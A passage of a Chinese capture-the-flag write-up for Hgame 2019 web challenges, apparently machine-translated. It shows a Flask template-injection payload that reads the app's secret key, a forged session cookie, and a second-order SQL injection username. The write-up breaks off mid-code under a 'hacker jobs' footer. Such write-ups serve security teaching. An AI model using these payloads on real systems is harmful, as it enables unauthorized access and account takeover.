CTF标题实战:2019-Hgame-Web-Week4
前语
最近使用空余时刻做了一下Hgame,以下是部分web题题解。
happyPython
信息收集
发现是flask,顺手测验一下。
http://118.25.18.223:3001/{{1+1}}
发现或许存在SSTI,打了几发payload,发现都是500,想到测验一下过滤。
http://118.25.18.223:3001/%7B%7B'aa'.upper()%7D%7D
发现将()替换成了空。
SECRET_KEY获取
那么执行命令应该变得十分困难,可是网站有登录,注册功用。
顺手解了一下session。
猜想或许要假造user_id=1
那么不能执行命令,咱们能够进行信息读取,取得SECRET_KEY。
勘探了一下过滤,发现url_for还存在。
http://118.25.18.223:3001/%7B%7Burl_for%7D%7D
进一步了解一下。
url_for.__globals__
发现已经是,持续深化一下,读config。
url_for.__globals__['current_app'].config
得到回显
发现
'SECRET_KEY': '9RxdzNwq7!nOoK3*'
session假造
咱们进行session假造。
{u'csrf_token': u'f02a02e70216e476480f9f2be9a07eb76b96f7a5', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}
这儿直接改user_id不可,本以为有csrf_token,咱们需得到下一次csrf_token再假造。
此刻解密能够得到当时csrf_token。
进行假造
flask_session encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'322ad6ee5c7fb9984464d472c7dadc35e4501756', u'_fresh': True, u'user_id': u'1', u'_id': u'91fa5db15d7b2b86be894999458190d9722d7d7aa0d5236363f921f34c7c17e63c21877fccb83bcb26984e9cac4bd72bc1dcb7750634b0997524cd3d2d9ac3f6'}"
可是发现依然不可,这儿测验Python3,发现成功。
得到flag:hgame{Qu_bu_la1_m1ng_z1_14}。
happyPHP
信息收集
F12发现源代码有信息走漏。
下载源码后直接搜索flag。
发现需求变成id=1的用户才会得到flag。
二次注入
一起发现高危操作。
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
没有通过过滤,直接拼接name。
简单想到二次注入,这儿注册用户。
1' or 'a'='a
得到成果
发现能够注入,考虑需求注入的value。
这儿我直接以为注入id=1用户的暗码是没有效果的(后来发现便是注暗码= =),咱们发现这儿的暗码已加密。
$user = User::create([
'name' => $request->name,
'email' => $request->email,
'password' => encrypt($request->password),
]);
咱们观察到数据库信息
public function up()
{
Schema::create('password_resets', function (Blueprint $table) {
[1] [2] 黑客接单网